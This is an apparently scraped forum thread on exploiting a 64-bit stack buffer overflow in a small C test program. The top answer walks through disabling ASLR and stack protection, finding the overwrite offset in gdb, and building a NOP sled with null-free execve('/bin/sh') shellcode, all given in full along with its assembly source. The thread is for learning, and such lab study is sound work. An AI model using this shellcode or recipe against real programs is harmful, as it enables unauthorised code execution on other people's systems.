64-bit buffer overflow

I am trying to do some buffer overflow experiments for fun. I read on this forum on this topic and tried to write my own little code.

So, I made a small "C" program that takes a character argument and works until segmentation fails.

Therefore, I provide arguments until I receive a message stating that I rewrote the return address with "A", which is 41. The length of my buffer in which I copy my input lines is [5].

Here is what I did in gdb.

run $(perl -e 'print "A"x32 ; ') Program received signal SIGSEGV, Segmentation fault. 0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d 

Then I realized that overwriting requires 16 'A'.

 run $(perl -e 'print "A"x16 . "C"x8 . "B"x32 ; ') 0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f ) 

Which tells us that 8 "C" rewrite the return address.

According to online tutorials, if I put a valid address instead of 8 "C". I can jump to some place and execute the code. So I overloaded the memory after the initial 16 "A".

The next step was to complete

 run $(perl -e 'print "A"x16 . "C"x8 . "B"x200 ; ') rax 0x0 0 rbx 0x3a0001bbc0 249108216768 rcx 0x3a00552780 249113683840 rdx 0x3a00553980 249113688448 rsi 0x42 66 rdi 0x2af9e57710e0 47252785008864 rbp 0x4343434343434343 0x4343434343434343 rsp 0x7fffb261a2e8 0x7fffb261a2e8 r8 0xffffffff 4294967295 r9 0x0 0 r10 0x22 34 r11 0xffffffff 4294967295 r12 0x0 0 r13 0x7fffb261a3c0 140736186131392 r14 0x0 0 r15 0x0 0 rip 0x400516 0x400516 <main+62> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 fctrl 0x37f 895 fstat 0x0 0 ftag 0xffff 65535 fiseg 0x0 0 fioff 0x0 0 foseg 0x0 0 fooff 0x0 0 fop 0x0 0 mxcsr 0x1f80 [ IM DM ZM OM UM PM ] 

After examining the memory 200 bytes after $ rsp, I found the address, and I did the following:

 run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ; ') 

This, however, does nothing. I would appreciate it if someone could give me an idea of โ€‹โ€‹what I am doing wrong.

+4
source share
3 answers

First make sure you change randomize_va_space. On Ubuntu, you would run the following command: root echo 0 > /proc/sys/kernel/randomize_va_space

Then, make sure that you compile the test program without stack break protection and set the memory execution bit. Compile it with the following gcc options to execute -fno-stack-protector -z execstack

I also found that I needed more space for the actual execution of the shell, so I would change your buffer to something more than the buffer [64]

Then you can run the application in gdb and get the stack address you need to return to
First set a breakpoint right after strcpy

 (gdb) disassemble main Dump of assembler code for function main: 0x000000000040057c <+0>: push %rbp 0x000000000040057d <+1>: mov %rsp,%rbp 0x0000000000400580 <+4>: sub $0x50,%rsp 0x0000000000400584 <+8>: mov %edi,-0x44(%rbp) 0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp) 0x000000000040058b <+15>: mov -0x50(%rbp),%rax 0x000000000040058f <+19>: add $0x8,%rax 0x0000000000400593 <+23>: mov (%rax),%rdx 0x0000000000400596 <+26>: lea -0x40(%rbp),%rax 0x000000000040059a <+30>: mov %rdx,%rsi 0x000000000040059d <+33>: mov %rax,%rdi 0x00000000004005a0 <+36>: callq 0x400450 < strcpy@plt > 0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax 0x00000000004005a9 <+45>: mov %rax,%rsi 0x00000000004005ac <+48>: mov $0x400674,%edi 0x00000000004005b1 <+53>: mov $0x0,%eax 0x00000000004005b6 <+58>: callq 0x400460 < printf@plt > 0x00000000004005bb <+63>: mov $0x0,%eax 0x00000000004005c0 <+68>: leaveq 0x00000000004005c1 <+69>: retq End of assembler dump. (gdb) b *0x4005a5 Breakpoint 1 at 0x4005a5 

Then run the application and at the breakpoint, take the address of the register rax.

 (gdb) run `python -c 'print "A"*128';` Starting program: APPPATH/APPNAME `python -c 'print "A"*128';` Breakpoint 1, 0x00000000004005a5 in main () (gdb) info register rax 0x7fffffffe030 140737488347136 rbx 0x0 0 rcx 0x4141414141414141 4702111234474983745 rdx 0x41 65 rsi 0x7fffffffe490 140737488348304 rdi 0x7fffffffe077 140737488347255 rbp 0x7fffffffe040 0x7fffffffe040 rsp 0x7fffffffdff0 0x7fffffffdff0 r8 0x7ffff7dd4e80 140737351863936 r9 0x7ffff7de9d60 140737351949664 r10 0x7fffffffdd90 140737488346512 r11 0x7ffff7b8fd60 140737349483872 r12 0x400490 4195472 r13 0x7fffffffe120 140737488347424 r14 0x0 0 r15 0x0 0 rip 0x4005a5 0x4005a5 <main+41> eflags 0x206 [ PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) 

Next, determine the size of your maximum buffer. I know that a buffer of 64 crashes at 72 bytes, so I will just move on from that. You could use something like metasploits template methods to give you this or just figure it out from the trial version and errors when starting the application to find out the exact byte count before you get segfault or compose your own template and match the rip address like with the metasploit parameter.

Further, there are many different ways to get the payload, but since we are running the 64-bit application, we will use the 64-bit payload. I compiled C and then grabbed ASM from gdb and then made some changes to remove the \ x00 characters, changing the mov instructions to xor for null values, and then shl and shr to remove them from the shell command. We will show this later, but at the moment the payload is as follows.

\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

our payload is 48 bytes, so we have 72 - 48 = 24

We can place the payload with \ x90 (nop) so that the command does not break. I will add 2 at the end of the payload and 22 at the beginning. I will also refer to the return address that we want to end in the opposite direction to give the following.

 `python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';` 

Now, if you want to run it outside of gdb, you may have to give in to the return address. In my case, the address becomes \ x70 \ xe0 \ xff \ xff \ xff \ x7f outside of gdb. I just increased it until it worked, going to 40, then 50, then 60, then 70.

application test source

 #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char name[64]; strcpy(name, argv[1]); printf("Arg[1] is :%s\n", name); return 0; } 

This is the payload in C

 #include <stdlib.h> int main() { execve("/bin/sh", NULL, NULL); } 

And the payload in ASM, which will create and run

 int main() { __asm__( "mov $0x0,%rdx\n\t" // arg 3 = NULL "mov $0x0,%rsi\n\t" // arg 2 = NULL "mov $0x0068732f6e69622f,%rdi\n\t" "push %rdi\n\t" // push "/bin/sh" onto stack "mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh "mov $0x3b,%rax\n\t" // syscall number = 59 "syscall\n\t" ); } 

And since we cannot use \ x00, we can change the values โ€‹โ€‹to xor and do some weird offsets to remove the bad mov values โ€‹โ€‹for setting / bin / sh

 int main() { __asm__( "xor %rdx,%rdx\n\t" // arg 3 = NULL "mov %rdx,%rsi\n\t" // arg 2 = NULL "mov $0x1168732f6e69622f,%rdi\n\t" "shl $0x8,%rdi\n\t" "shr $0x8,%rdi\n\t" // first byte = 0 (8 bits) "push %rdi\n\t" // push "/bin/sh" onto stack "mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh "mov $0x111111111111113b,%rax\n\t" // syscall number = 59 "shl $0x38,%rax\n\t" "shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits) "syscall\n\t" ); } 

if you compile this payload, run it under gdb, you can get the byte values โ€‹โ€‹you need, for example

 (gdb) x/bx main+4 0x400478 <main+4>: 0x48 (gdb) 0x400479 <main+5>: 0x31 (gdb) 0x40047a <main+6>: 0xd2 (gdb) 

or get everything by doing something like

 (gdb) x/48bx main+4 0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf 0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11 0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08 0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11 0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1 0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05 
+10
source

Good for starters ... Are you completely sure that the address on the stack is a return pointer, not a pointer, to say somewhere a data structure or string? If so, it will use this address instead of the string and simply cannot do anything :)

So check if your function uses local variables as they are pushed onto the stack after the return address. Hope this helps ^ _ ^ And good luck!

0
source

I didnโ€™t work much with x64, but a quick glance says that you have 16 bytes before overwriting rip. instead of \ x90 try \ xCC, to see if the managed code was redirected if it had to hit gdb (land in the \ xCC pool), \ xCC and pause (\ xCC are in some sense "hard-coded" breakpoints).

0
source

All Articles